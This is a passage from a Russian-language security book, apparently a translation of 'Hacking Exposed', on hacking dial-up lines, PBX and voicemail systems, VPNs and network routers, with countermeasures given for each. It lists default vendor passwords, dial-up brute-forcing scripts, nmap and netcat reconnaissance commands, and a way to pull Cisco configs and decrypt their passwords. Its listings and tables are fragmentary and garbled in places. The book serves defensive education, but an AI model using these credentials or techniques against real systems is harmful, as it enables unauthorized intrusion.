сценария на языке ASPECT можно использовать условие WAITFOR и задать соответствующее условие. При таком подходе остается меньше шансов для случайностей. Авторы являются сторонниками журналов регистрации. Хотя такие журналы сложно анализировать — их легко создавать. При этом, конечно, предполагается, что дополнительные сведения о соединении отсутствуют. Те, кто работал консультантом по безопасности или аудитором и сотрудничал с людьми, знающими характеристики удаленных соединений своих организаций, могут использовать совсем другие подходы. Следует упомянуть еще о некоторых особенностях работы сценариев. Наличие шума на линии между ожидаемыми символами может свести на нет всю работу сценария. Поэтому, прежде чем запускать сценарий в действие, желательно несколько раз протестировать его на небольших словарях из 10-20 паролей и удостовериться в его работоспособности. Одинарная идентификация, ограниченное число попыток Для проникновения в систему, относящуюся ко второму типу доменов, требуется несколько больше времени, поскольку в сценарий нужно добавить новые элементы. Пример работы такой системы приведен в листинге 9.3. Несложно заметить небольшие отличия в поведении этой и рассмотренной выше системы первого типа. В данном примере после третьей попытки установки соединения появляется сообщение АТНО. Это типичная последовательность символов, означающая разрыв соединения для модемов Hayes. Значит, данное соединение разрывается после трех неудачных попыток аутентификации. Число попыток может варьироваться, однако в этом примере будет показано, как восстановить соединение при его разрыве после X (в данном примере 3-х) неудачных попыток. Для этого нужно добавить небольшой фрагмент кода в рассмотренный выше сценарий. Такой пример содержится в листинге 9.4. Здесь предпринимается три попытки угадать пароль, а затем соединение устанавливается снова и процесс повторяется. XX-Jul-XX 03:45:08 91ХХХ5551235 С:CONNECT 9600/ARQ/V32/LAPM (Отметим важную характеристику — последовательность АТНО, свидетельствующую о разрыве соединения модема Hayes.) OPEN "5551235.was" FOR OUTPUT AS #2
Двойная идентификация, неограниченное число попыток К третьему типу доменов зачастую относятся системы, которые, на первый взгляд, можно принять за системы первого домена. Однако для проникновения в систему третьего домена нужно угадать не только идентификатор пользователя, но и пароль. Поэтому проникновение в такую систему занимает больше времени, чем в системы из рассмотренных выше доменов. Сценарий проникновения в такую систему обычно более сложен, поскольку требует передачи не одной, а двух корректных строк. При этом возможно гораздо больше ошибок. Такой сценарий напоминает рассмотренные выше примеры. Пример поведения системы, относящейся к третьему домену, приведен в листинге 9.5, а программа на языке QBASIC для создания сценария ASPECT — в листинге 9.6. XX-Jcl-XX 09:55:08 91ХХХ5551234 Листинг 9.6. Пример программы на языке QBASIC (файл 5551235.ВАS) OPEN "5551235.was" FOR OUTPUT AS #2
Двойная идентификация, ограниченное число попыток Четвертый домен является развитием третьего. Доя проникновения в систему четвертого домена требуется угадать имя пользователя и пароль при ограниченном числе попыток. После неудачного использования заданного числа попыток требуется восстановить разорванное соединение. Рассмотрим пример работы системы и программу генерации соответствующего сценария. В следующем листинге содержатся результаты атаки целевой системы. XX-Jul-XX 09:55:08 91ХХХ5551234 А вот пример QBASIC-программы, генерирующей сценарий на языке ASPECT. OPEN "5551235.was" FOR OUTPUT AS #2 |
Заключительные замечания Рассмотренные выше примеры относятся к реально существующим изученным авторами системам. Читатели могут встретиться с системами, требующими реализации в сценарии некоторых других особенностей. Разработка сценария для конкретной ситуации — это путь проб и ошибок. Для написания сценариев можно использовать и другие языки, однако этот метод был выбран для простоты. Напомним еще раз, что для реализации этого подхода сначала необходимо открыть файл журнала, поскольку после успешного написания сценария и его многочасовой работы будет очень обидно обнаружить полное отсутствие результатов. Защита удаленных соединений Не мудрствуя лукаво, приведем список вопросов, которые необходимо решить в процессе планирования защиты удаленных соединений своей организации. Этот список упорядочен по сложности реализации мероприятий (от простого к сложному). Поэтому в первую очередь будут устранены проблемы, относящиеся к домену ЛДП. Внимательному читателю этот список наверняка напомнит перечень мероприятий в рамках политики защиты удаленных соединений. Хакинг удаленных внутренних телефонных сетей РВХ На сегодняшний день по-прежнему существуют удаленные соединения с внутренними офисными телефонными сетями РВХ. На самом деле управление такими сетями чаще всего реализуется именно посредством удаленных соединений. Аппаратная консоль для доступа в сеть РВХ в настоящее время превратилась в сложную машину, доступ к которой обеспечивается через IP-сети и интерфейс клиента. При этом многие удаленные соединения с хорошо настроенными сетями РВХ были упущены из виду. Кроме того, поставщики систем РВХ зачастую требуют от своих клиентов установки удаленного доступа к РВХ для обеспечения удаленной поддержки. И хотя это требование не лишено смысла, многие компании относятся к нему очень упрощенно и просто оставляют модем постоянно включенным и подключенным к внутренней телефонной сети. На самом же деле нужно поступать следующим образом. При возникновении проблемы представитель компании должен позвонить в службу поддержки и при необходимости установить удаленное соединение с сетью РВХ, дать возможность службе поддержки устранить проблемы по удаленной связи, а затем срезу же отключить соединение. Поскольку многие компании оставляют соединения с сетями РВХ постоянно открытыми, это открывает широкие возможности для несанкционированного проникновения в систему путем сканирования телефонных номеров. Таким образом, хакинг соединений с сетями РВХ имеет ту же природу, что и взлом обычных удаленных соединений. Доступ к телефонной сети от компании Octel В телефонных сетях РВХ от компании Octel пароль администратора обязательно является числом. Иногда это играет очень важную роль. По умолчанию почтовый ящик системного администратора во многих системах компании Octel — 9999. XX-Feb-XX 05:03:56 *91ХХХ5551234 С: CONNECT 9600/ARQ/V32/LAPM Как видно из приведенного фрагмента интерфейса, для входа в сеть РВХ достаточно ввести либо числовой пароль, либо номер почтового ящика системного администратора. Система РВХ от компании Williams Как правило, работа в системе РВХ компании Williams происходит так, как показано ниже. При регистрации в сети зачастую требуется ввести номер пользователя. Обычно это пользователь первого уровня, номер которого — четырехзначное число. Очевидно, что подобрать нужное четырехзначное число не составляет труда. XX-Feb-XX 04:03:56 *91ХХХ5551234 С:
Система Meridian На первый взгляд, система Meridian напоминает операционную систему UNIX. Однако воздержитесь от ее покупки! При вводе идентификатора пользователя maint с таким же паролем обеспечивается доступ к управляющей консоли. Тот же результат достигается при вводе идентификатора пользователя mluser с одноименным паролем Это две различные оболочки в стиле UNIX, предназначенные для ограничения взаимодействия с системой РВХ. Однако эти ограничения очень легко обойти. XX-Feb-XX 02:04:56 *91ХХХ5551234
Система ROLM PhoneMail Приведенное ниже поведение свойственно устаревшей системе ROLM PhoneMail. При входе в нее иногда даже отображаются соответствующие идентификационные маркеры. XX-Feb-XX 02:04:56 *91ХХХ5551234 С: CONNECT 9600/ARQ/V32/LAPM Вот идентификаторы пользователей и пароли, используемые в системе ROLM PhoneMail по умолчанию. LOGIN: sysadrain PASSWORD: sysadmin
Система ATT Definity 75 Система ATT Definity 75 — одна из старейших систем РВХ, и ее приглашение выглядит как стандартное приглашение UNIX. Иногда при этом выводятся даже соответствующие идентификационные маркеры. ATT UNIX S75 Приведем список используемых по умолчанию учетных записей и паролей для системы ATT Definity 75. По умолчанию для этой системы устанавливается большое количество готовых к работе учетных записей и паролей. Обычно эти учетные записи впоследствии модифицируются их владельцами либо по собственному желанию, либо после проведения аудита безопасности системы. Однако после модификации системы предлагаемые по умолчанию учетные записи могут снова быть восстановлены. Иными словами, измененные в исходной версии системы данные могут снова принять предлагаемые по умолчанию значения после одной или нескольких модернизаций системы. Вот список используемых по умолчанию в системе ATT Definity 75 имен и паролей. Login: enquiry Password: enquirypw
Защита сети РВХ средствами АСЕ-сервера Если вам встретится система, приглашение которой имеет следующий вид, — не стоит ломать копья: вероятнее всего, такую систему не удастся взломать, поскольку она защищена надежным механизмом на базе протокола АСЕ-сервера. XX-Feb-XX 02:04:56 *91ХХХ5551234 С: CONNECT 9600/ARQ/V32/LAPM
Контрмеры против взлома систем РВХ Как и при защите удаленных соединений, необходимо максимально ограничить время работы модемов, применять сложные формы аутентификации (по возможности двойную аутентификацию), а также предусмотреть возможность отключения после нескольких неудачных попыток установки соединения. Прямой взлом систем голосовой почты В начале 90-х годов появились две программы, предназначенные для взлома систем голосовой почты: Voicemail Box Hacker 3.0 и VrACK 0.51. Авторы этой книги пробовали пользоваться ими, но оказалось, что эти программы подходят для взлома более ранних и менее защищенных систем голосовой почты. Программа Voicemail Box Hacker 3.0 предназначена только для работы с системами, использующими четырехзначные пароли. Программа VrACK 0.51 обладает некоторыми интересными возможностями, однако для нее сложно писать сценарии и, вообще, она рассчитана на старые архитектуры компьютеров на базе процессоров х86, а на современных компьютерах работает нестабильно. Возможно, упомянутые программы в настоящее время не поддерживаются потому, что попытки взлома систем голосовой почты предпринимаются нечасто. Таким образом, для взлома систем голосовой почты лучше всего использовать язык сценариев ASPECT. proc main Число вариантов паролей голосовой почты всегда конечно. Конкретное количество возможных паролей зависит от максимально допустимой длины пароля. Чем длиннее пароль, тем больше времени может потребовать его взлом. При этом следует иметь в виду, что за процессом взлома требуется постоянно следить и слушать ответы системы голосовой почты. Однако умный взломщик может записать весь процесс взлома на магнитофон, тогда постоянное его присутствие при работе сценария не потребуется. Независимо от того, когда прослушиваются результаты работы сценария (сразу же или потом), большинство попыток ввода пароля окажутся безуспешными. Успешная попытка должна завершиться сообщением типа "В вашем почтовом ящике имеется X новых сообщений...". Заранее нельзя точно угадать, каким будет это сообщение. Количество возможных попыток находится в экспоненциальной зависимости от длины пароля. Поэтому для ускорения процедуры взлома можно использовать некоторые эмпирические закономерности. Таблица 9.1. Типичные пароли системы Voicemail
И наконец, этот способ подбора паролей можно автоматизировать. Если "захватывать" аналоговый голосовой сигнал с помощью некоторого цифрового преобразователя сигналов или научиться записывать ответы системы, то можно прослушать результаты работы сценария в автономном режиме и не присутствовать при его реализации. Контрмеры против взлома систем голосовой почты Для защиты системы голосовой почты нужно принять строгие меры безопасности. Например, включите режим блокировки соединений после заданного числа неудачных попыток. Тогда взломщик не сможет за один сеанс проверить более пяти или семи паролей. Хакинг виртуальных частных сетей Телефонные сети являются достаточно надежными и разветвленными, поэтому удаленные соединения еще долго не выйдут из обращения. Тем не менее, им на смену уже приходят новые механизмы удаленного доступа — виртуальные частные сети VPN (Virtual Private Network).
Взлом протокола РРТР, реализованного компанией Microsoft Анализ протокола РРТР в реализации компании Microsoft был выполнен 1 июня 1998 года известным криптоаналитиком Брюсом Шнеером (Bruce Schneier) и знаменитым хакером Питером Маджем (Peter Mudge) (http://www.counterpane.com/pptp. html). Технический обзор результатов этого анализа, представленный Алефом Ваном (Aleph One) для журнала Phrack Magazine. В своем обзоре Алеф Ван вскрыл новые бреши в защите протокола РРТР, в том числе возможности обмана РРТР-сервера с целью получения данных аутентификации. Информацию об устранении недостатков в реализации протокола РРТР от компании Microsoft можно найти по адресу http://www.counterpane.com/ pptpv2-paper.html.
Устранение недостатков протокол а РРТР Означает ли все это, что над технологией виртуальных частных сетей разверзлись небеса? Абсолютно нет. Повторим еще раз, что все перечисленные недостатки касаются лишь конкретной реализации протокола компании Microsoft. Все они были устранены в сервисном пакете Service Pack 4 для серверов и клиентов. Более подробная информация об устраненных недостатках содержится в бюллетене Microsoft Security Bulletin MS98-012. Кроме того, в реализации для Windows 2000 протокол РРТР был существенно доработан. Теперь существует возможность использования протокола L2TP, основанного на IPSec. Для совместимости с новыми средствами обеспечения безопасности со стороны серверов РРТР-клиенты, работающие под управлением Win 9x, необходимо модернизировать с помощью Dial-Up Networking версии 1.3. Компания Microsoft подготовила подробный документ, касающийся протокола РРТР и защиты виртуальных частных сетей, который можно найти по адресу http://www.microsoft.com/ntserver/zipdocs/vpnsecur.exe). В ответ на предпринятые компанией Microsoft действия Шнеер и Мадж опубликовали новую статью, в которой одобрили результаты устранения большинства из описанных ранее недостатков. Однако авторы замечают, что протокол MS РРТР по-прежнему основывается на пользовательских паролях в целях обеспечения разнообразия ключей. Однако наиболее важный вывод из статьи Шнеера и Маджа читается между строк: существуют достаточно способные люди, которые хотят и могут испытать на прочность и взломать виртуальные частные сети, несмотря на все заявления об абсолютной защищенности последних. Кроме того, возможности реатазации стандартных атак против операционной системы, под управлением которой работает виртуальная частная сеть (например, проблема хэш-кодов LanMan), а также просто плохие проектные решения (неавторизованные каналы управления или повторное использование ключей сеансов) могут свести на нет все остальные преимущества этой безопасной, на первый взгляд, системы. |
Результаты анализа протокола IPSec Многие исследователи отмечают закрытость стандарта IPSec, встроенного в Windows 2000 компанией Microsoft. Однако такая закрытость имеет и свои преимущества. Поскольку никто толком не знает принципов работы протокола IPSec, то неизвестны и способы его взлома (устройства, работающие на базе протокола IPSec можно обнаружить путем прослушивания UDP-порта 500). Однако, как станет ясно из следующего раздела, завеса таинственности — не лучший фундамент для создания протокола безопасности. Результаты анализа, проведенного Шнеером (Schneier) и Фергюссоном (Ferguson) После покорения протокола РРТР Брюс Шнеер и его коллега Нельс Фергюссон (Niels Ferguson) из Counterpane Internet Security сконцентрировали свое внимание на протоколе IPSec и описали результаты своего анализа в специальной статье. Основной лейтмотив статьи Брюс Шнеера и Нельса Фергюссона сводится к тому, что и сам протокол IPSec, и соответствующие документы, описывающие его стандарт, потрясающе сложны. Это мнение человека, разработавшего алгоритм шифрования, претендующий на утверждение в качестве государственного стандарта США — AES (Advanced Encryption Algorithm).
Брюс Шнеер и Нельс Фергюссон завершают свою статью признанием полной капитуляции: "По нашему мнению, протокол IPSec слишком сложен, чтобы быть безопасным. Однако на сегодняшний день лучшего средства защиты не существует." Конечно же, пользователи протокола IPSec должны полагаться на авторов конкретной реализации этого стандарта. Каждой конкретной реализации могут быть присущи свои собственные достоинства и недостатки, которые не останутся незамеченными сообществом хакеров. Точка зрения Стивена М. Белловина (Steven M. Bellovin) Наблюдая за дискуссиями типа Cryptographic Challenges или изучая процедуры взлома RC5-64 , большинство читателей не отдают себе отчет в том, что обычно речь идет о получении взломщиками фрагментов незашифрованного текста. Однако захват передаваемой зашифрованной информации существенно отличается от взлома статических файлов паролей, поскольку поток зашифрованных данных не имеет четких границ, а значит, очень сложно определить начало и конец сеанса связи. Хакеру приходится угадывать, успешно расшифровывая и сопоставляя различные фрагменты разговора, не будучи при этом точно уверенным в правильном выборе исходной точки. Признанный титан мысли в области безопасности Internet, Стивен М. Белловин (Steven М. Bellovin) из лаборатории AT&T Labs Research опубликовал статью под названием Криптоанализ обычного текста с помощью протоколов IPSec ("Probable Plaintext Cryptanalysis of the IP Security Protocols"), в которой отмечает наличие известных фрагментов обычного текста в трафике IPSec — поля данных заголовка TCP/IP. И хотя это еще не свидетельствует о бреши в протоколе IPSec, этот факт дает пищу для размышления специалистам по взлому зашифрованных коммуникаций. |
Резюме Теперь многие читатели могут подвергнуть сомнению надежность общей концепции систем удаленного доступа, основанных как на технологии виртуальных частных сетей, так и на использовании старых добрых телефонных линий. И это правильно. Расширение пределов организаций до размеров тысяч (или миллионов) по определению надежных конечных пользователей — чрезвычайно рискованное дело, и авторы это доказали. Они предлагают исходить из предположения о том, что удаленные пользователи работают в наихудших с точки зрения безопасности условиях (обычно это достаточно близко к действительности). Вот некоторые советы по обеспечению безопасности удаленного доступа.
|
Глава 10. СЕТЕВЫЕ УСТРОЙСТВА
|
Сетевые устройства Компьютерная сеть — это кровеносная система любой компании. Сотни тысяч километров медных и оптоволоконных кабелей опоясывают стены корпоративной Америки, действуя подобно сосудам, доставляющим обогащенную кислородом кровь к мозгу. Однако во всем есть и другая сторона: типичную корпоративную локальную или глобальную сеть (LAN или WAN соответственно) трудно назвать безопасной. С учетом постоянно растущего значения компьютерных сетей сегодня нельзя пренебрежительно относится к этой проблеме, так как удачное проникновение злоумышленника в вашу сеть подчас может оказаться губительным для самого существования компании. В большинстве случаев овладение сетью означает то же самое, что и возможность перехвата почтовых сообщений, финансовых данных, перенаправление потока информации на неавторизованные системы. И все это возможно даже несмотря на применение частных виртуальных сетей (VPN — Virtual Private Network). |
Исследование Процесс обнаружения сетевого устройства не имеет принципиальных различий с описанными в данной книге методами обнаружения любых других компьютерных систем. Скорее всего взломщик начнет со сканирования портов, пытаясь найти какие-то "зацепки". Обнаружив открытые порты, он выполнит сбор маркеров и инвентаризацию сетевых ресурсов с помощью утилиты netcat. Если открыт порт UDP 161, скорее всего тут же последует попытка использования протокола SNMP (Simple Network Management Protocol), поскольку неправильно настроенные SNМР-устройства очень часто "выбалтывают" самую сокровенную информацию о своей конфигурации любому, кто ею заинтересуется. |
Обнаружение На этом этапе применяется сканирование портов с использованием разнообразных инструментов, о которых мы уже довольно подробно говорили в предыдущих главах. В большинстве случаев для выполнения всех работ будет вполне достаточно таких утилит, как traceroute, netcat и nmap. Прослеживание маршрута с помощью traceroute С помощью утилит traceroute или tracert, входящих в комплект поставки UNIX и NT, соответственно, можно определить основные маршруты, по которым проходят пакеты от вашего узла к другому узлу Internet или внутренней сети TCP/IP. Обладая этой информацией, можно обнаружить очень важный элемент сетевой инфраструктуры — маршрутизатор. Именно маршрутизатор чаше всего становится "мишенью № 1" в попытках злоумышленника обследовать структуру сети. Ниже приведен пример работы утилиты traceroute, из которого видно, как пакеты проходят от одного маршрутизатора (или брандмауэра) к другому. [sm@tsunami sm]$ traceroute www.destination.com Зная, что перед представляющим интерес узлом находится узел 192.168.0.1, можно предположить, что он представляет собой не что иное, как маршрутизатор, управляющий распределением пакетов по узлам сети. Именно поэтому на это устройство (равно как и на другие, попавшие в выявленный маршрут прохождения пакетов), злоумышленник обратит внимание в первую очередь. (Строго говоря, скорее всего, что объектом его внимания станет вся подсеть, в которую входит данное устройство.) Однако знание IP-адреса маршрутизатора не влечет за собой автоматического получения сведений об изъянах в его архитектуре и настройке. Для того чтобы получить такие сведения, необходимо прибегнуть к сканированию портов, определению операционной системы, а также сбору любой дополнительной информации, которая может дать ключ к взлому системы зашиты устройства. Контрмеры: защита от прослеживания маршрута Для того чтобы запретить маршрутизатору Cisco отвечать на запросы со значением TTL больше допустимого, воспользуйтесь следующей командой. access-list 101 permit icmp any 172.29.20.0 0.255.255.255 11 0
Сканирование портов С помощью утилиты nmар, к которой мы очень часто прибегаем в подобных ситуациях, из операционной системы Linux можно выяснить, какие порты маршрутизатора (192.168.0.1) находятся в состоянии ожидания запросов. По комбинации обнаруженных портов часто можно судить о типе маршрутизатора. В табл. 10.1 перечислены стандартные порты TCP и UDP, используемые на самых популярных сетевых устройствах. Для того чтобы идентифицировать тип устройств, можно прибегнуть к сканированию портов, а затем проанализировать полученные результаты. Не забывайте о том, что в различных реализациях комбинации портов могут отличаться от приведенных. Таблица 10.1. Стандартные TCP- и UDP-порты некоторых сетевых устройств
Так, если вас интересуют маршрутизаторы Cisco, выполните сканирование портов 1-25, 80, 512-515, 2001, 4001, 6001 и 9001. Полученные при этом результаты помогут определить изготовителя устройства и его тип. [/tmp]# nmap -pl-25,80,512-515,2001,4001,6001,9001 192.168.0.1 С помощью еще одного из наших любимых средств, утилиты SuperScan Робина Кейра (Robin Keir), сканирование можно выполнить из системы NT и найти все открытые порты маршрутизатора. Эта программа позволяет задать список портов, который впоследствии можно применять при каждой операции сканирования (рис. 10.1).
После выбора требуемого перечня портов можно приступать к сканированию сети (172 .16. 255. 0) на предмет поиска устройств Cisco. Полученная картина использования портов подталкивает к мысли о том. что в данном случае мы имеем дело с маршрутизатором Cisco. Конечно, пока этого нельзя сказать со всей определенностью, поскольку мы еще не установили тип используемой операционной системы. Для того чтобы подтвердить или опровергнуть наши предположения, необходимо провести предварительный сбор информации TCP, которую мы подробно рассматривали в главе 2. User Access Verification Идентификация операционной системы [root@source /tmp]# nmap -О -р!3 -n 192.168.0.1 Всегда, когда это возможно, для идентификации типа операционной системы сканируйте только один порт. Многие операционные системы, в том числе IOS компании Cisco и Solaris компании Sun, известны тем, что в качестве ответа возвращают отправителю пакеты, не соответствующие стандартам RFC, что может привести к зависанию отдельных систем. Для получения более подробной информации об исследовании стека читайте главу 2, "Сканирование".
Контрмеры: защита от идентификации типа ОС Методы обнаружения и предупреждения попыток сканирования с целью идентификации типа операционной системы подробно описаны в главе 2. Утечка информации в пакетах Cisco
Информация об этом изъяне системы зашиты Cisco впервые была опубликована в бюллетене Bugtraq Джоелом (JoeJ) из группы Rhino9. Он заключается в том, каким образом устройства Cisco отвечают на TCP-запросы SYN, передаваемые через порт 1999 (порт, используемый службой ident Cisco). Неофициальный ответ компании Cisco на эту проблему был опубликован в бюллетене Bugtraq Джоном Башински (John Bashinski) <jbash@cc.COM>. Контрмеры: защита маршрутизаторов Cisco от утечки информации Самый простой способ защиты от утечки информации заключается в том, чтобы использовать команду, запрещающую поступление пакетов TCP через порт 1999. Она может иметь следующую форму. access-list 101 deny tcp any any eq 1999 log!
Инвентаризация и сбор маркеров Cisco Если по всем признакам устройство ведет себя как устройство Cisco, то, скорее всего, так оно и есть. Однако в некоторых случаях данное утверждение все же оказывается ложным — лишь обнаружения ожидаемых открытых портов недостаточно, чтобы быть уверенным в том, что вы имеете дело именно с Cisco. Однако можно воспользоваться некоторыми дополнительными проверками, характерными именно для этой платформы. Служба finger и порты виртуальных терминалов 2001, 4001, 6001 На некоторые запросы служба finger компании Cisco может выдавать совершенно бесполезную (для пользователя или администратора, но не для злоумышленника) информацию. Виртуальные терминалы vty Cisco (обычно с номером 5) отвечают на простой запрос finger -1 @<узел>, но в выдаваемых результатах нет ничего информативного, за исключением лишь того, что по самому факту получения ответа можно судить о том, что мы имеем дело с маршрутизатором Cisco. User Access Verification Password: Password: Password: % Bad passwords Такое сообщение поможет злоумышленнику удостовериться в том, что он имеет дело с устройством Cisco. Служба XRemote Cisco (9001) Еще одним часто используемым портом Cisco является TCP-порт службы XRemote с номером 9001. Эта служба позволяет узлам вашей сети подключаться с помощью клиента XSession к маршрутизатору (обычно через модем). Когда злоумышленник подключается к этому порту с помощью утилиты netcat, то устройство, как правило, передает обратно идентификационный маркер, как показано в следующем примере. C:\>nc-nvv 172.29.11.254 9001
Контрмеры: защита от сбора информации об устройствах Cisco Единственный метод, позволяющий предотвратить инвентаризацию устройств Cisco. заключается в ограничении доступа с помощью списка ACL. Можно либо использовать установленное по умолчанию правило "очистки", либо в явной форме запретить подключение к соответствующим портам, чтобы все подобные попытки регистрировались в контрольном журнале. Для этого можно воспользоваться командами следующего вида. |
SNMP Протокол SNMP (Simple Network Management Protocol) предназначен для облегчения работы администратора по управлению устройствами сети. Однако огромной проблемой протокола SNMP версии 1 (SNMPvl) всегда была абсолютная незащищенность узла, на котором работали средства поддержки этого протокола. В исходной версии использовался только один механизм обеспечения безопасности, основанный на использовании специачьных паролей, называемых строками доступа (community string). В ответ на жалобы о наличии слабых мест в системе обеспечения безопасности была быстро разработана значительно улучшенная версия SNMP (SNMFV2). В этой версии для аутентификации сообщений, передаваемых между серверами и клиентами SNMP, используется алгоритм хэширования MD5. Это позволяет обеспечить как целостность пересылаемых данных, так и возможность проверки их подлинности. Кроме того, SNMPv2 допускает шифрование передаваемых данных. Это ограничивает возможности злоумышленников по прослушиванию трафика сети и получению строк доступа. Однако в то же время ничто не мешает администраторам использовать на маршрутизаторах простейшие пароли. Маршрутизаторы Ascend По умолчанию маршрутизаторы Ascend обеспечивают доступ по протоколу SNMP с помощью строк доступа public (для чтения — read) и writ: спя чтения и записи — read/write). Изъян в системе защиты, связанный с SNMP-доступом для чтения и записи, впервые был обнаружен специалистами из Network Associates. Inc. Контрмеры: защита маршрутизаторов Ascend Для того чтобы изменить установленные по умолчанию строки доступа на маршрутизаторе Ascend, просто воспользуйтесь командой меню Ethernet>ModConflg>SNMP Options. Маршрутизаторы Bay Маршрутизаторы компании Bay NT по умолчанию предоставляют доступ по протоколу SNMP, контролируемый на уровне пользователей как для чтения, так и для записи. Для того чтобы воспользоваться этой возможностью, достаточно попытаться использовать установленное по умолчанию пользовательское имя User без пароля. В командной строке маршрутизатора введите команду show snmp comm types Контрмеры: защита маршрутизаторов Bay В диспетчере Site Manager, который входит в состав программного обеспечения маршрутизаторов компании Bay Networks, выберите команду меню Protocols>IlP1* SNMPoCommunities. После этого выберите команду Community>Edit Community и измените строки доступа. Контрмеры: защита SNMP Если вы разрешаете осуществлять SNMP-доступ через пограничный брандмауэр к какому-либо одному устройству, а в использовании протокола SNMP для доступа к остальным узлам сети нет острой необходимости, то можно просто внести соответствующие ограничения в список ACL маршрутизатора. Если в строке доступа вы хотите использовать символ ?, то перед ним необходимо нажать комбинацию клавиш <Ctrl-V>. Например, для того чтобы установить строку доступа, равную secret? 2me, введите secret<Ctrl-V>?2me. В табл. 10.2 перечислены все основные разработчики сетевых устройств и строки доступа, используемые ими по умолчанию для чтения и для чтения/записи. Таблица 10.2. Используемые по умолчанию пароли сетевых устройств
Помимо перечисленных строк доступа, используемых по умолчанию, многие компании в качестве таковых используют собственное название. Например, руководствуясь этим принципом, издательство Osborne может использовать в качестве строки доступа слово osborne (но это только по секрету). |
"Потайные" ходы "Тайная" учетная запись (backdoor account) — это одна из наиболее сложных проблем. Такие учетные записи создаются разработчиками для того, чтобы при отладке обходить случайно заблокированные учетные записи администраторов, однако гораздо чаще они предоставляют злоумышленникам возможность проникновения в вашу систему. В последние годы было выявлено немало таких встроенных пользовательских имен и паролей, позволяющих получить доступ ко многим популярным сетевым устройствам, включая 3Com, Bay, Cisco и Shiva. Суть проблемы заключается в том, чтобы найти все подобные устройства и запретить или ограничить к ним доступ. |
Установленные по умолчанию учетные записи Одним из чаще всего обнаруживаемых изъянов является установленные по умолчанию имя пользователя и пароль. Практически все разработчики поставляют на рынок сетевые устройства, позволяющие получить с помощью подобной учетной записи доступ на уровне пользователя, а иногда — и администратора (подробнее см. табл. 10.3). Поэтому вашим первым шагом при настройке таких устройств должно быть немедленное удаление таких учетных записей. Таблица 10.3. Стандартные пользовательские имена и пароли, которые необходимо изменить
Коммутаторы 3Com Коммутаторы 3Com очень часто имеют несколько встроенных по умолчанию учетных записей с разным уровнем привилегий — admin, read, write, debug, test и monitor. Если эти встроенные учетные записи окажутся незащищенными, то с их помощью злоумышленник сможет получить пользовательские или даже административные привилегии. Контрмеры: защита встроенных учетных записей коммутаторов 3Com Для того чтобы изменить пароль, введите с консоли устройства команду system password. Маршрутизаторы Bay Маршрутизаторы Bay имеют пару установленных по умолчанию учетных записей, некоторые из которых к тому же по умолчанию не защищены паролем. Поскольку при настройке операционной системы удобно пользоваться учетными записями User и Manager, в которых пароль отсутствует, то довольно часто администраторы оставляют эти учетные записи незащищенными. Это позволяет злоумышленнику с помощью утилиты telnet получить прямой доступ к устройству и через FTP переписать на свой компьютер конфигурационные файлы. Например, на многих коммутаторах Bay 350T имеется учетная запись NetiCs без пароля, которая представляет собой прекрасный "потайной ход" в систему. Контрмеры: защита встроенных учетных записей маршрутизаторов Bay
Пароли маршрутизаторов Cisco На разных моделях Cisco неоднократно обнаруживали различные пароли, используемые по умолчанию для доступа с виртуального терминала vty, включая такие легко угадываемые, как cisco и cisco routers. Кроме того, на некоторых моделях были обнаружены установленные по умолчанию пароли cisco, позволяющие получить удаленный доступ к устройству. Как вы понимаете, такие пароли нужно как можно быстрее заменить на более сложные. Наконец, на некоторых моделях Cisco 2600, произведенных до 24 апреля 1998 года, по умолчанию использовался пароль, состоящий из одной-единственной буквы с. Контрмеры: защита маршрутизаторов Cisco Даже если вы измените все обнаруженные легко угадываемые пароли, установленные производителем по умолчанию, это вовсе не означает, что ваше устройство Cisco надежно защищено. Поскольку компания Cisco не применяет мощных алгоритмов шифрования паролей, используемых для доступа с терминалов vty, то, обнаружив их тем или иным способом, злоумышленник сможет без труда взломать эти пароли. Несмотря на это, каждый владелец маршрутизатора Cisco должен как можно скорее выполнить следующие операции.
Устройства Webramp Джеймс Игелхоф (James Egelhof) и Джон Стенли (John Stanley) установили, что устройства Webramp Entre (в версии ISDN) имеют установленные по умолчанию пользовательское имя wradmin и пароль trancell. Эта учетная запись предоставляет злоумышленнику доступ к устройству на уровне администратора, позволяя вносить изменения в конфигурацию, изменять пароль и т.д. Вполне вероятно, что подобные недостатки имеются и в других продуктах Webramp. Контрмеры: защита устройств Webramp В данном случае самый простой метод защиты заключается в изменении административного пароля. Более сложное решение, предложенное Игелхофом и Стенли, заключается в ограничении доступа с использованием службы telnet через порт WAN. Это можно осуществить несколькими способами, однако мы можем порекомендовать следующий. Находясь в среде программного обеспечения устройства Webramp включите режим Visible Computer для каждого активного модемного порта и направьте его на ложный IP-адрес, например, на немаршрутизируемый адрес, такой как 192.168.100.100. После этого отключите оба режима Divert Incoming. Подключение к кабельному модему Motorola через порт 1024 с помощью telnet Как сообщалось в майском выпуске (1998 г.) бюллетеня Bugtraq, программное обеспечение Cable Router компании Motorola позволяет кому угодно подключиться к скрытому порту telnet. Как выяснилось, с портом TCP 1024 связан ожидающий поступления запросов демон telnet, и, используя установленные по умолчанию пользовательское имя cablecom и пароль router, через эту службу можно получить административный доступ к этому устройству. Хотя на практике кабельные модемы от компании Motorola встречаются нечасто, авторы оставили описание этого изъяна, поскольку он наглядно демонстрирует возможность проникновения в систему через такие "неожиданные" порты, как TCP 1024. Не допускает ли ваш модем скрытый доступ через службу telnet к какому-либо другому порту? |
Устранение изъянов Возможность хакинга сетевых устройств в значительной степени зависит от объема и качества проведенных в сети защитных мероприятий. Если вы выбрали пароли для подключений telnet и строки доступа SNMP, которые трудно подобрать, ограничили использование служб FTP и TFTP, а также активизировали режим регистрации всех событий, имеющих отношение к безопасности (при условии, конечно, что кто-то регулярно просматривает эти журналы), то описанные ниже изъяны вряд ли окажутся опасными для вашей сети. С другой стороны, если ваша сеть достаточно обширна и имеет сложную для управления структуру, в ней могут оказаться узлы, безопасность которых, мягко говоря, далека от идеальной. В связи с этим нелишним будет выполнить дополнительную проверку и лишний раз застраховаться от неожиданностей. Устаревшая база данных MIB Cisco и Ascend Устройства компаний Cisco и Ascend поддерживают базу данных MIB устаревшего формата, которая через открытые строки доступа, обеспечивающие чтение и запись, позволяет любому пользователю получить конфигурационный файл с использованием TFTP. Если речь идет об устройствах Cisco, то эта база данных называется OLD-CISCO-SYS-MIB. Ввиду того что в этом файле содержится пароль для доступа к устройству Cisco (он зашифрован весьма примитивным способом — с помощью операции XOR), взломщик может легко расшифровать его и использовать для реконфигурации вашего маршрутизатора или коммутатора.
Получив конфигурационный файл, остается лишь расшифровать пароль. Для этого достаточно щелкнуть на кнопке Decrypt Password панели инструментов, как показано на рис. 10.5.
